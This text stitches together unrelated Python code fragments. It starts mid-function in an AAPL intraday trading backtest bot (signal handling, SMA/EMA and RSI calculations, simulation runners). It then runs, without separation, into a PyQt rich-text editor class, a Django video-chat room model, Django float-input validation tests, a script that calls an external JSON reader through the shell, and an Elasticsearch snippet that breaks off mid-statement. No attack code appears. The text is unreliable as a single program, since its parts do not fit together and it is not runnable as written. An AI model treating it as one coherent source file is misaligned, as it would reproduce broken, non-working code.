update ExecutedOnSignal to No #if far from moving average trade status is short or long then update ExecutedOnSignal to No if (baseTradeStatus == "Short") or (baseTradeStatus == "Long"): baseTradeExecutedOn = "No" if (farFromMovAvgTradeStatus == "Short") or (farFromMovAvgTradeStatus == "Long"): farFromMovAvgTradeExecutedOn = "No" else: if (baseTradeStatus == "Short") or (baseTradeStatus == "Long"): tradeType = "BaseTrade" tradeStatus = baseTradeStatus #if at the same time far from momving average trade also tells us to go long or short #we don't execute on it and update ExecutedOnSignal to No if (farFromMovAvgTradeStatus == "Short") or (farFromMovAvgTradeStatus == "Long"): farFromMovAvgTradeExecutedOn = "No" elif (farFromMovAvgTradeStatus == "Short") or (farFromMovAvgTradeStatus == "Long"): tradeType = "FarFromMovingAverageTrade" tradeStatus = farFromMovAvgTradeStatus #Get parameters: tradeId, buyPrice, stopLossPrice, limitSellPrice if from checks so far, we should place a trade; this data is for all trade summary (only the trade we actually make) if tradeType == "BaseTrade": tradeId = baseTradeSummary.index [-1] #holds the Time Index of last trade which we acted on buyPrice = float (baseTradeSummary.loc [tradeId,"BuyPrice"]) stopLossPrice = float (baseTradeSummary.loc [tradeId,"StopLossPrice"]) limitSellPrice = float (baseTradeSummary.loc [tradeId,"LimitSellPrice"]) elif tradeType == "FarFromMovingAverageTrade": tradeId = farFromMovAvgTradeSummary.index [-1] buyPrice = float (farFromMovAvgTradeSummary.loc [tradeId,"BuyPrice"]) stopLossPrice = float (farFromMovAvgTradeSummary.loc [tradeId,"StopLossPrice"]) limitSellPrice = float (farFromMovAvgTradeSummary.loc [tradeId,"LimitSellPrice"]) #if we are placing a trade then #Calculate Max Possible Loss from this Trade #If that loss takes us over the daily max loss then don't execute on the trade #otherwise execute on the trade if tradeType!= "Nothing": numSharesBought = math.floor((currentBalance-2*brokerFee)/buyPrice) #this will produce error when both trading signal produces false maxPossibleLoss = numSharesBought* abs(buyPrice-stopLossPrice)+2*brokerFee #holds the max possible loss; number is always positive if (startingBalance - (currentBalance-maxPossibleLoss)) > dailyMaxLoss: toPlaceTrade = "No" if tradeType == "BaseTrade": baseTradeExecutedOn = "No" elif tradeType == "FarFromMovingAverageTrade": #could have also used else farFromMovAvgTradeExecutedOn = "No" else: toPlaceTrade = "Yes" if tradeType == "BaseTrade": baseTradeExecutedOn = "Yes" elif tradeType == "FarFromMovingAverageTrade": #could have also used else farFromMovAvgTradeExecutedOn = "Yes" #return dataframe containing trade summary if we are placing trade #or return None if we are not placing a trade if toPlaceTrade == "Yes": dictTemp = { 'CurrentDay': [currentDay], 'TradeType' :[tradeType], 'TradeStatus': [tradeStatus], 'TradeId' : [tradeId], 'BuyPrice': [buyPrice], 'LimitSellPrice': [limitSellPrice], 'StopLossPrice' : [stopLossPrice], 'NumShares': [numSharesBought], 'Profit': [float ("nan")], #Profit column will be updated by other functions when we sell our stock 'IsTradeComplete': ["No"], #Will be changed to "Yes" when we exit the trade 'SoldTime': [float ("nan")] #Will be updated with real time when the trade is complete } dfTemp = pd.DataFrame (dictTemp, index = [stockDataLiveSimModified.index[-1]]) return dfTemp, baseTradeExecutedOn, farFromMovAvgTradeExecutedOn else: return None, baseTradeExecutedOn, farFromMovAvgTradeExecutedOn # %% def checkIfExitTrade (currentTradeSummary, currentPriceData, whichPriceToCheck): ''' (DataFrame, DataFrame, string) ---> (DataFrame/None) Given details about current trade (buy time, buy price, limit sell and stop loss price, etc.) and current price, see if the trade should be closed ''' #Current trade summary and current price data is both one row of data #This function is called when we have an active trade going updatedTradeSummary = currentTradeSummary #Extract data to see if limit loss or stop loss is triggerred currentPrice = float (currentPriceData.loc [currentPriceData.index [-1], whichPriceToCheck]) buyPrice = float (currentTradeSummary.loc [currentTradeSummary.index [-1], "BuyPrice"]) limitSellPrice= float (currentTradeSummary.loc [currentTradeSummary.index [-1], "LimitSellPrice"]) stopLossPrice = float (currentTradeSummary.loc [currentTradeSummary.index [-1], "StopLossPrice"]) currentTradeStatus = str (currentTradeSummary.loc [currentTradeSummary.index [-1], "TradeStatus"]) #Short or Long numSharesBought = float (currentTradeSummary.loc [currentTradeSummary.index [-1], "NumShares"]) #See if limit sell or stop loss was triggerred if market sell was not triggerred currentTradeStatus, currentTradeProfit = limitStopLossSell (currentTradeStatus, currentPrice, buyPrice, stopLossPrice, limitSellPrice, numSharesBought) #Exit all trade by 3:50 PM; 380 is chronolgoical index for 3:50 PM if (currentPriceData.index [-1] >=380) and (currentTradeStatus!="Nothing"): #Second condition is to bypass market sell if limit sell or stop loss above was triggerred currentTradeStatus, currentTradeProfit = marketSell (currentTradeStatus, currentPrice, buyPrice, numSharesBought) #Trade was exited. Update this columns in currentTradeSummary: if currentTradeStatus == "Nothing": updatedTradeSummary.loc [updatedTradeSummary.index [-1],"Profit"] = currentTradeProfit updatedTradeSummary.loc [updatedTradeSummary.index [-1],"IsTradeComplete"] = "Yes" updatedTradeSummary.loc [updatedTradeSummary.index [-1],"SoldTime"] = currentPriceData.loc [currentPriceData.index [-1], "TimeOnly"] return updatedTradeSummary else: return None # %% def smaEma (stockDataPreviousDay,stockDataCurrentDay, period, colTitleForSmaEma): '''(DataFrame, DataFrame, int, str) --> (str, float, str, float) Given current day and previous day stock data, return EMA and SMA over the specified period ''' #takes a dataframe with minute interval and adds SMA# and EMA# column #need to check dataframe so I only have columns with data type integer or float dataFrameSmaEma = stockDataPreviousDay dataFrameSmaEma = dataFrameSmaEma.append (stockDataCurrentDay) #previous and current day both have same indices. So dataFrameSmaEma have duplicate indices now. # This line sets unique indices which is necessary for EMA calculation dataFrameSmaEma.index = range (0,dataFrameSmaEma.shape[0],1) #set index to Datetime to avoid calculating rolling mean on Datetime #dataFrameSmaEma.set_index (dataFrameSmaEma.columns[0], inplace = True) #add SMA column and values smaColTitle = "SMA" + str (period) #print (dataFrameSmaEma.head ()) #dataFrameSmaEma [smaColTitle] = dataFrameSmaEma[].rolling (period).mean ()[colTitleForSmaEma] #add SMA values dataFrameSmaEma [smaColTitle] = dataFrameSmaEma[colTitleForSmaEma].rolling (period).mean () #add SMA values #add EMA column #dataFrameSmaEma.reset_index (inplace = True) #reset index to be able to index by integer emaWeight = 2/ (period + 1) emaColTitle = "EMA" + str (period) dataFrameSmaEma [emaColTitle] = float ("nan") #creating a column EMA9 which is nan values for all; not sure if this step is necessary but doing this to avoid error later #print (dataFrameSmaEma.columns) # try: for i in range (0,dataFrameSmaEma.shape [0],1): if i == (period-1): dataFrameSmaEma.loc [i,emaColTitle] = dataFrameSmaEma.loc [i,smaColTitle] #first EMA value is just the SMA elif i>=period: dataFrameSmaEma.loc [i,emaColTitle] = dataFrameSmaEma.loc [i,colTitleForSmaEma]*emaWeight + dataFrameSmaEma.loc [i-1,emaColTitle]*(1-emaWeight) else: dataFrameSmaEma.loc [i,emaColTitle] = float ("nan") #otherwise those EMA values don't exist # except Exception: # traceback.print_exc() # print ("Hello") #dataFrameSmaEma.set_index (dataFrameSmaEma.columns[0], inplace = True) #set the index back to original datframe's index # testInt = stockDataCurrentDay.shape[0] # tempDf = dataFrameSmaEma.tail (stockDataCurrentDay.shape[0]) smaPeriod = float (dataFrameSmaEma.tail (1)[smaColTitle]) emaPeriod = float (dataFrameSmaEma.tail (1)[emaColTitle]) return smaColTitle, smaPeriod, emaColTitle, emaPeriod #return dataFrameSmaEma.tail (stockDataCurrentDay.shape[0]) #only return dataframe for current day # %% def rsiPreviousDay (stockDataPreviousDay, period, colTitleForRSI): '''(DataFrame, int, str) ---> (DataFrame) Given last day's stock data from Yahoo Finance, return the same DataFrame with RSI calculated ''' #have to pass in dataframe with integer as the indices stockDataPreviousDay ["Change"] = stockDataPreviousDay [colTitleForRSI].diff () #change from last minute price #holding positive change and negative change data in seperate columns stockDataPreviousDay ["Gain"] = 0 #initializing columns stockDataPreviousDay ["Loss"] = 0 stockDataPreviousDay ["Gain"] = stockDataPreviousDay.loc [stockDataPreviousDay ["Change"]>0, "Change"] #positive change stockDataPreviousDay ["Loss"] = stockDataPreviousDay.loc [stockDataPreviousDay ["Change"]<0, "Change"].abs () #average loss; converted to positive stockDataPreviousDay ["Gain"].fillna (0, inplace = True) #replace na missing values with 0 stockDataPreviousDay ["Loss"].fillna (0, inplace = True) #initialize more columns stockDataPreviousDay ["AvgGain"] = float ("nan") stockDataPreviousDay ["AvgLoss"] = float ("nan") stockDataPreviousDay ["RS"] = float ("nan") rsiColTitle = "RSI{0}".format (period) stockDataPreviousDay [rsiColTitle] = float ("nan") for i in range (period, stockDataPreviousDay.shape[0],1): # print (stockDataPreviousDay.iloc[1:period+1,:]) if i == period: #for the first RSI (at i = period), average gain and loss is simply simple average over n period dfTemp = stockDataPreviousDay.iloc[1:period+1,:] avgGain = float (dfTemp ["Gain"].mean ()) avgLoss = float (dfTemp ["Loss"].mean ()) else: avgGain = float ((stockDataPreviousDay.loc [i-1,"AvgGain"]*(period-1) + stockDataPreviousDay.loc [i,"Gain"])/period) avgLoss = float ((stockDataPreviousDay.loc [i-1,"AvgLoss"]*(period-1) + stockDataPreviousDay.loc [i,"Loss"])/period) #When average loss is 0, RS is undefined and RSI = 100 if avgLoss !=0: rs = avgGain/avgLoss rsi = 100 - 100/(1+rs) else: rs = float ("nan") rsi = 100 #Updating values of table; not sure if necessary stockDataPreviousDay.loc [i,"AvgGain"] = avgGain stockDataPreviousDay.loc [i,"AvgLoss"] = avgLoss stockDataPreviousDay.loc [i,"RS"] = rs stockDataPreviousDay.loc [i,rsiColTitle] = rsi # stockDataPreviousDay [i,rsiColTitle] = rsi return stockDataPreviousDay #return the stock price dataframe with RSI values calculated # %% def rsi (priceChange, colTitleForRSI, period, previousAvgGain, previousAvgLoss): '''(float, str, int, float, float) ---> (float) Given price change, period over which to calculate RSI for and average gain/loss, calculate RSI ''' #calculate rsi for latest minute if priceChange > 0: gain = priceChange loss = 0 else: loss = abs (priceChange) gain = 0 avgGain = (previousAvgGain*(period-1) + gain)/period avgLoss = (previousAvgLoss*(period-1) + loss)/period if avgLoss !=0: rs = avgGain/avgLoss rsi = 100 - 100/(1+rs) else: rs = float ("nan") rsi = 100 return avgGain, avgLoss, rsi # %% def tradeOneDay (): ''' Function for simulating trading over specified data in "CurrentDay" variable ''' #Days for downloading data from yahoo finance currentDay = dt.datetime.strptime ("2020-04-02","%Y-%m-%d").date() #day object previousBusinessDay = currentDay - BDay (1) #previous business day time stamp #previousBusinessDay = convTimeStampToDay (previousBusinssDay,"%Y-%m-%d %H:%M:%S") #get day object previousBusinessDay = pd.Timestamp.date (previousBusinessDay) nextBusinessDay = currentDay + BDay (1) #previous business day time stamp #nextBusinessDay = convTimeStampToDay (nextBusinessDay,"%Y-%m-%d %H:%M:%S") #get day object nextBusinessDay = pd.Timestamp.date (nextBusinessDay) #stock data for current date; we will simulate trading for current date (not = present day in simulated trades) stockData1mIntervalCurrent = yf.download (tickers = "AAPL", start= currentDay, end = nextBusinessDay, interval= "1m") stockData1mIntervalCurrentModified = preProcessStockData (stockData1mIntervalCurrent) #stock data for previous business day; we need this data for SMA/EMA stockData1mIntervalPreviousBusinessDay = yf.download (tickers = "AAPL", start= previousBusinessDay, end = currentDay, interval= "1m") stockData1mIntervalPreviousBusinessDayModified = preProcessStockData (stockData1mIntervalPreviousBusinessDay) startingBalance = 10000 #starting balance is 10,000 dailyMaxLoss = 100 #max loss per day is $100 currentDayStockData, baseTradeSummary, farFromMovAvgTradeSummary, allTradeSummary, currentBalance = main(currentDay,stockData1mIntervalCurrentModified,stockData1mIntervalPreviousBusinessDayModified, startingBalance, dailyMaxLoss) print ("Profit Today {0}".format (currentBalance-startingBalance)) filePath1 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V5 Bot Export\StockData.csv" filePath2 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V5 Bot Export\BaseTradeSummary.csv" filePath3 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V5 Bot Export\FarFromMovingAverageTradeSummary.csv" filePath4 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V5 Bot Export\AllTradeSummary.csv" currentDayStockData.to_csv (filePath1) baseTradeSummary.to_csv (filePath2) farFromMovAvgTradeSummary.to_csv (filePath3) allTradeSummary.to_csv (filePath4) # %% def tradeMultipleDay (): ''' Function for simulating trading over multiple days Obtaining data for all the days from a CSV file for now as Yahoo Finance app only gives 1 minute interval data for last 30 days ''' #30 day of stock data from csv file filePath = r"C:\Users\KI PC\OneDrive\Documents\Finance\Companies Data Export_2020_03_09_To_2020_04_03\2020_03_09_To_2020_04_03_AAPL.csv" stockDataHistorical = pd.read_csv (filePath) stockDataHistorical.columns = ["Datetime", "Open", "High", "Low", "Close", "Adj Close", "Volume"] stockDataHistorical ["Datetime"] = pd.to_datetime (stockDataHistorical ["Datetime"]) stockDataHistorical ["DateOnly"] = stockDataHistorical ["Datetime"].dt.date listOfSortedDates = stockDataHistorical ["DateOnly"].unique() listOfSortedDates.sort () startingBalance = 10000 #starting balance is 10,000 dailyMaxLoss = 100 #max loss per day is $100 #Dataframes for holding trade summary stockDataSummary = pd.DataFrame () baseTradeSummary = pd.DataFrame () farFromMovAvgTradeSummary = pd.DataFrame () allTradeSummary = pd.DataFrame () currentBalanceSummary = pd.DataFrame () currentBalance = startingBalance #first balance is = startingBalance for i in range (len(listOfSortedDates)-1): currentDay = listOfSortedDates [i+1] previousBusinessDay = listOfSortedDates [i] #current day stock data stockData1mIntervalCurrent = stockDataHistorical.loc [stockDataHistorical ["DateOnly"] == currentDay,:] #don't need to preprocess stock data #changing index of stock data to start from 0 stockData1mIntervalCurrent.index = range (0,stockData1mIntervalCurrent.shape[0],1) print (stockData1mIntervalCurrent.head ()) #previous day stock data; we need this data for SMA/EMA and RSI stockData1mIntervalPreviousBusinessDay = stockDataHistorical.loc [stockDataHistorical ["DateOnly"] == previousBusinessDay,:] #don't need to preprocess stock data #changing index of stock data to start from 0 stockData1mIntervalPreviousBusinessDay.index = range (0,stockData1mIntervalPreviousBusinessDay.shape[0],1) print (stockData1mIntervalPreviousBusinessDay.head ()) #Get result for current date stockDataCurrentDay, baseTradeSummaryCurrentDay, farFromMovAvgTradeSummaryCurrentDay, allTradeSummaryCurrentDay, currentBalance = main(currentDay, stockData1mIntervalCurrent, stockData1mIntervalPreviousBusinessDay, currentBalance, dailyMaxLoss) #Summary for current balance vs. dates. Might be useful later on dictTemp = {'Date': [currentDay], 'EndingBalance': [currentBalance]} dfTemp = pd.DataFrame (dictTemp, index = [i+1]) if i == 0: stockDataSummary = stockDataCurrentDay baseTradeSummary = baseTradeSummaryCurrentDay farFromMovAvgTradeSummary = farFromMovAvgTradeSummaryCurrentDay allTradeSummary = allTradeSummaryCurrentDay currentBalanceSummary = dfTemp else: stockDataSummary = stockDataSummary.append (stockDataCurrentDay) baseTradeSummary = baseTradeSummary.append (baseTradeSummaryCurrentDay) farFromMovAvgTradeSummary = farFromMovAvgTradeSummary.append (farFromMovAvgTradeSummaryCurrentDay) allTradeSummary = allTradeSummary.append (allTradeSummaryCurrentDay) currentBalanceSummary = currentBalanceSummary.append (dfTemp) filePath1 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V7 Bot Export\StockData30Days.csv" filePath2 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V7 Bot Export\BaseTradeSummary30Days.csv" filePath3 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V7 Bot Export\FarFromMovingAverageTradeSummary30Days.csv" filePath4 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V7 Bot Export\AllTradeSummary30Days.csv" filePath5 = r"C:\Users\KI PC\OneDrive\Documents\Finance\V7 Bot Export\BalanceChange30Days.csv" stockDataSummary.to_csv (filePath1) baseTradeSummary.to_csv (filePath2) farFromMovAvgTradeSummary.to_csv (filePath3) allTradeSummary.to_csv (filePath4) currentBalanceSummary.to_csv (filePath5) # %% if __name__ == "__main__": # #For trading one day only using yahoo finance data # tradeOneDay () #For trading multiple days using csv files data tradeMultipleDay () # %% from QtTextEditor import QtWidgets, QtGui, QtCore from .statusBar import StatusBar import os PROJECT_ROOT = os.path.normpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..')) #Projects path class MyApp(QtWidgets.QMainWindow): ''' Main TextEditor class ''' def __init__(self): super(MyApp, self).__init__() self.fileBasename = "Untitled" self.filePath = None self._CHAR_MAX = 140 self.settings = QtCore.QSettings("RomanVolodin", "QtTextEditor") self.setupUI() self.restoreSettings() def restoreSettings(self): ''' Get window position and size Get state of window's widgets ''' try: self.restoreGeometry(self.settings.value("geometry", "")) except: pass try: self.restoreState(self.settings.value("windowState", "")) except: pass html = self.settings.value("textEditor_content") self.text_edit.setHtml(html) self.filePath = self.settings.value("textEditor_FilePath") self.fileBasename = self.settings.value("textEditor_FileBasename") if not (self.fileBasename == None or self.fileBasename == "Untitled"): self.statusBar.setFileName(fileName = self.fileBasename) def closeEvent(self, event): ''' ReDefined Close event Save settings on close ''' self.settings.setValue("geometry", self.saveGeometry()) self.settings.setValue("windowState", self.saveState()) self.settings.setValue("textEditor_content", self.text_edit.toHtml()) self.settings.setValue("textEditor_FilePath", self.filePath) self.settings.setValue("textEditor_FileBasename", self.fileBasename) QtWidgets.QMainWindow.closeEvent(self, event) def setupUI(self): ''' Basic Setup ''' #attributes self.setObjectName("QtTextEditor2017") self.setMinimumSize(400, 300) self.setGeometry(100, 100, 1200, 800) #Editor self.text_edit = QtWidgets.QTextEdit() self.text_edit.setStyleSheet("background-color: rgb(50,50,50); color: rgb(220, 220, 220)") self.text_edit.textChanged.connect(self.eventTextChanged) self.setCentralWidget(self.text_edit) #Menu self.menu = QtWidgets.QMenuBar() self.setMenuBar(self.menu) self.initMainMenu() #Toolbar self.toolbar = QtWidgets.QToolBar(self) self.toolbar.setMovable(True) self.toolbar.setStyleSheet("border-width: 0px;") self.toolbar.setObjectName("QtTextEditorToolbar") self.addToolBar(self.toolbar) self.initToolbar() #StatusBar self.statusBar = StatusBar(self) self.setStatusBar(self.statusBar) def initToolbar(self): ''' Initialize ToolBar compoents ''' #undo redo self.undo = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "undo.svg")),"Undo",self) self.undo.triggered.connect(self.appUndo) self.redo = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "redo.svg")),"Redo",self) self.redo.triggered.connect(self.appRedo) #bold italic underline self.bold = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "bold-text.svg")),"Make text bold",self) self.bold.triggered.connect(self.CSS_fontBold) self.italic = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "italics.svg")),"Make text italic",self) self.italic.triggered.connect(self.CSS_fontItalic) self.underline = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "undelined.svg")),"Make text underlined",self) self.underline.triggered.connect(self.CSS_fontUnderline) #Font Family self.combobox_fontfamily = QtWidgets.QFontComboBox() self.combobox_fontfamily.currentFontChanged.connect(self.CSS_fontFamily) #FontSize self.combobox_fontsize = QtWidgets.QSpinBox() self.combobox_fontsize.setSuffix(" pt") self.combobox_fontsize.valueChanged.connect(lambda size: self.CSS_fontSize(size)) self.combobox_fontsize.setValue(14) #FontColor self.fontColor = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "letter-color.svg")),"Change font color",self) self.fontColor.triggered.connect(self.CSS_fontColor) #fontBackground self.fontBG = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "brush.svg")),"Change font background color",self) self.fontBG.triggered.connect(self.CSS_fontBackgroundColor) #Alignment self.alignLeft = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "041-left-alignment.svg")), "Text left alignment", self) self.alignLeft.triggered.connect(lambda: self.CSS_textAlign("Left")) self.alignRight = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "041-right-alignment.svg")), "Text right alignment", self) self.alignRight.triggered.connect(lambda: self.CSS_textAlign("Right")) self.alignCenter = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "041-center-alignment.svg")), "Text center alignment", self) self.alignCenter.triggered.connect(lambda: self.CSS_textAlign("Center")) self.alignJustify = QtWidgets.QAction(QtGui.QIcon(os.path.join( PROJECT_ROOT, "res", "icons", "041-justify-align.svg")), "Text justify alignment", self) self.alignJustify.triggered.connect(lambda: self.CSS_textAlign("Justify")) #Add components self.toolbar.addAction(self.undo) self.toolbar.addAction(self.redo) self.toolbar.addSeparator() self.toolbar.addAction(self.bold) self.toolbar.addAction(self.italic) self.toolbar.addAction(self.underline) self.toolbar.addSeparator() self.toolbar.addWidget(self.combobox_fontfamily) self.toolbar.addSeparator() self.toolbar.addWidget(self.combobox_fontsize) self.toolbar.addSeparator() self.toolbar.addAction(self.fontColor) self.toolbar.addAction(self.fontBG) self.toolbar.addSeparator() self.toolbar.addAction(self.alignLeft) self.toolbar.addAction(self.alignRight) self.toolbar.addAction(self.alignCenter) self.toolbar.addAction(self.alignJustify) def initMainMenu(self): #FILE menu self.menu_file = self.menu.addMenu("File") self.action_new = self.menu_file.addAction("New") self.action_new.setStatusTip("Create a new text document") self.action_new.setShortcut("Ctrl+N") self.action_new.triggered.connect(self.appNew) self.action_open = self.menu_file.addAction("Open") self.action_open.setStatusTip("Open an existing text document") self.action_open.setShortcut("Ctrl+O") self.action_open.triggered.connect(self.appOpen) self.action_save = self.menu_file.addAction("Save") self.action_save.setStatusTip("Save the current document") self.action_save.setShortcut("Ctrl+S") self.action_save.triggered.connect(self.appSave) self.action_saveAs = self.menu_file.addAction("Save As...") self.action_saveAs.setStatusTip("Save the current document in a custom folder") self.action_saveAs.setShortcut("Ctrl+Shift+S") self.action_saveAs.triggered.connect(self.appSaveAs) self.menu_file.addSeparator() self.submenu_export = self.menu_file.addMenu("Export") self.subaction_exportPlainText = self.submenu_export.addAction("Plain Text") self.subaction_exportPlainText.setStatusTip("Export the document as a plain txt file with no styles applied.") self.subaction_exportPlainText.triggered.connect(self.appExport) self.separator = self.menu_file.addSeparator() self.action_exit = self.menu_file.addAction("Exit") self.action_exit.setStatusTip("Exit the application") self.action_exit.triggered.connect(self.appExit) #EDIT menu self.menu_edit = self.menu.addMenu("Edit") self.action_undo = self.menu_edit.addAction("Undo") self.action_undo.setStatusTip("Undo action") self.action_undo.setShortcut("Ctrl+Z") self.action_undo.triggered.connect(self.appUndo) self.action_redo = self.menu_edit.addAction("Redo") self.action_redo.setStatusTip("Redo action") self.action_redo.setShortcut("Ctrl+Shift+Z") self.action_redo.triggered.connect(self.appRedo) self.menu_edit.addSeparator() self.action_copy = self.menu_edit.addAction("Copy") self.action_copy.setStatusTip("Copy action") self.action_copy.setShortcut("Ctrl+C") self.action_copy.triggered.connect(self.appCopy) self.action_cut = self.menu_edit.addAction("Cut") self.action_cut.setStatusTip("Cut action") self.action_cut.setShortcut("Ctrl+X") self.action_cut.triggered.connect(self.appCut) self.action_paste = self.menu_edit.addAction("Paste") self.action_paste.setStatusTip("Paste action") self.action_paste.setShortcut("Ctrl+V") self.action_paste.triggered.connect(self.appPaste) #Toolbar Styles def CSS_fontFamily(self, font): ''' Set font family ''' self.text_edit.setCurrentFont(font) def CSS_fontSize(self, fontSize): ''' Set font size ''' self.text_edit.setFontPointSize(fontSize) def CSS_fontColor(self): ''' Set font color via standard color picker dialog ''' colorDialog = QtWidgets.QColorDialog() color = colorDialog.getColor() self.text_edit.setTextColor(color) def CSS_fontBackgroundColor(self): ''' Set font background color via standard color picker dialog ''' colorDialog = QtWidgets.QColorDialog() backgroundColor = colorDialog.getColor() self.text_edit.setTextBackgroundColor(backgroundColor) def CSS_fontBold(self): ''' Make font bald ''' if self.text_edit.fontWeight() == QtGui.QFont.Bold: self.text_edit.setFontWeight(QtGui.QFont.Normal) else: self.text_edit.setFontWeight(QtGui.QFont.Bold) def CSS_fontItalic(self): ''' Make font italic ''' state = self.text_edit.fontItalic() self.text_edit.setFontItalic(not state) def CSS_fontUnderline(self): ''' Make font underlined ''' state = self.text_edit.fontUnderline() self.text_edit.setFontUnderline(not state) def CSS_textAlign(self, alignType = "Left"): ''' Align text according alignType attribute ''' if alignType == "Left": self.text_edit.setAlignment(QtCore.Qt.AlignLeft) elif alignType == "Right": self.text_edit.setAlignment(QtCore.Qt.AlignRight) elif alignType == "Center": self.text_edit.setAlignment(QtCore.Qt.AlignCenter) elif alignType == "Justify": self.text_edit.setAlignment(QtCore.Qt.AlignJustify) else: raise ValueError("Please check 'alignType' attribute. You have probably used an undefined type.") #MENU File def appSave(self): temp_filePath = self.filePath #if new document - open a FileDialog - save FilePath & FileName if not self.fileBasename or self.fileBasename == "Untitled": self.filePath = QtWidgets.QFileDialog.getSaveFileName(self, 'Save File')[0] if not self.filePath: self.filePath = temp_filePath return self.fileBasename = os.path.basename(self.filePath) #add extension if not self.filePath.endswith(".qtxt"): self.filePath += ".qtxt" #write data with open(self.filePath, "wt") as file: file.write(self.text_edit.toHtml()) #set statusbar filename self.statusBar.setFileName(fileName = self.fileBasename) print("The current document has been saved") def appSaveAs(self): #if new document - open a FileDialog - save FilePath & FileName temp_filePath = self.filePath temp_fileBasename = self.fileBasename self.filePath = QtWidgets.QFileDialog.getSaveFileName(self, 'Save File')[0] if not self.filePath: self.filePath = temp_filePath return self.fileBasename = os.path.basename(self.filePath) #add extension if not self.filePath.endswith(".qtxt"): self.filePath += ".qtxt" #write data with open(self.filePath, "wt") as file: file.write(self.text_edit.toHtml()) #set statusbar filename self.statusBar.setFileName(fileName=self.fileBasename) print("The current document has been saved") def appOpen(self): self.filePath = QtWidgets.QFileDialog.getOpenFileName(self, 'Open File',".","(*.qtxt)")[0] self.fileBasename = os.path.basename(self.filePath) if self.filePath: with open(self.filePath, "rt") as file: self.text_edit.setText(file.read()) self.statusBar.setFileName(fileName=self.fileBasename) print("A document has been opened") def appNew(self): ''' reInit text editor ''' self.text_edit.clear() self.statusBar.setFileName(fileName = "Untitled") self.filePath = None self.fileBasename = "Untitled" def appExit(self): self.close() def appExport(self): exportPath = QtWidgets.QFileDialog.getSaveFileName(self, 'Export File')[0] #add extension if not exportPath.endswith(".txt"): exportPath += ".txt" #write data with open(exportPath, "wt") as file: file.write(self.text_edit.toPlainText()) #set statusbar filename print("The current document has been exported") #MENU Edit def appUndo(self): ''' Undo user action ''' self.text_edit.undo() def appRedo(self): ''' Redo user action ''' self.text_edit.redo() def appCopy(self): ''' Copy selected text ''' self.text_edit.copy() def appCut(self): ''' Cut selected text ''' self.text_edit.cut() def appPaste(self): ''' Paste text from clipboard ''' self.text_edit.paste() def eventTextChanged(self): ''' - Restricts the number of entered characters using self._CHAR_MAX attribute - Updates StatusBar information related to the amount of entered characters ''' if len(self.text_edit.toPlainText()) > self._CHAR_MAX: cursor = self.text_edit.textCursor() cursor.setPosition(140, QtGui.QTextCursor.MoveAnchor) cursor.movePosition(QtGui.QTextCursor.End, QtGui.QTextCursor.KeepAnchor, 1) cursor.removeSelectedText() self.text_edit.setTextCursor(cursor) self.statusBar.showMessage("You have entered the maximum amount of characters (CHAR_MAX = {})".format(self._CHAR_MAX)) if self.statusBar: self.statusBar.setCharCount(count=len(self.text_edit.toPlainText())) Arvind-4/Connect1-10 import uuid from django.db import models # Create your models here. class VideoChatRoom(models.Model): room_id = models.UUIDField(default=uuid.uuid4, unique=True) created = models.DateTimeField(auto_now_add=True) def __str__(self): return f'Room ID: {self.room_id}'from django.core.exceptions import ValidationError from django.test import TestCase from django_analyses.models.input.types.input_types import InputTypes from tests.factories.input.definitions.float_input_definition import \ FloatInputDefinitionFactory from tests.factories.input.types.float_input import FloatInputFactory class FloatInputTestCase(TestCase): """ Tests for the :class:`~django_analyses.models.input.types.float_input.FloatInput` model. """ def setUp(self): """ Adds the created instances to the tests' contexts. For more information see unittest's :meth:`~unittest.TestCase.setUp` method. """ self.float_input_definition = FloatInputDefinitionFactory( min_value=-1000, max_value=1000 ) self.float_input = FloatInputFactory(definition=self.float_input_definition) ########### # Methods # ########### def test_string(self): value = str(self.float_input) expected = f"'{self.float_input.key}' = {self.float_input.value}" self.assertEqual(value, expected) def test_none_value_if_required_raises_validation_error(self): self.float_input.definition.required = True self.float_input.definition.save() self.float_input.value = None with self.assertRaises(ValidationError): self.float_input.save() def test_get_type(self): value = self.float_input.get_type() self.assertEqual(value, InputTypes.FLT) def test_validate_min_value_raises_validation_error(self): self.float_input.value = -1000.01 with self.assertRaises(ValidationError): self.float_input.save() def test_validate_max_value_raises_validation_error(self): self.float_input.value = 1000.01 with self.assertRaises(ValidationError): self.float_input.save() import pandas as pd from glob import glob from subprocess import check_output import sys import concurrent.futures JSON_READ = '/project2/ishanu/bin/json_read' def run_one(js): """ """ model_id = js.split('/')[-1].split('m')[0] csv_fname = js.rstrip('.json') + 'jr.csv' cmd = '{} -j {} -s on > {}'.format(JSON_READ, js, csv_fname) check_output(cmd, shell=True) csv = pd.read_csv(csv_fname) return csv if __name__ == '__main__': model_folder = sys.argv[1] models = glob('{}/*model.json'.format(model_folder)) result_path = sys.argv[2] dfs = [] with concurrent.futures.ProcessPoolExecutor(max_workers=None) as executor: for model, csv in zip(models, executor.map(run_one, models)): dfs.append(csv) print('{}: {}'.format(model, len(csv))) df = pd.concat(dfs) df.to_csv(result_path, index=False) 0 import os import sys import yaml import traceback import transaction import json from elasticsearch import Elasticsearch if __name__ == "__main__": ret = 0 #print(config) try: connection = Elasticsearch( ['127.0.0.1'], # sniff before doing anything sniff_on_start=True, # refresh nodes after a node fails to respond sniff_on_connection_fail=True, # and also every 60 seconds 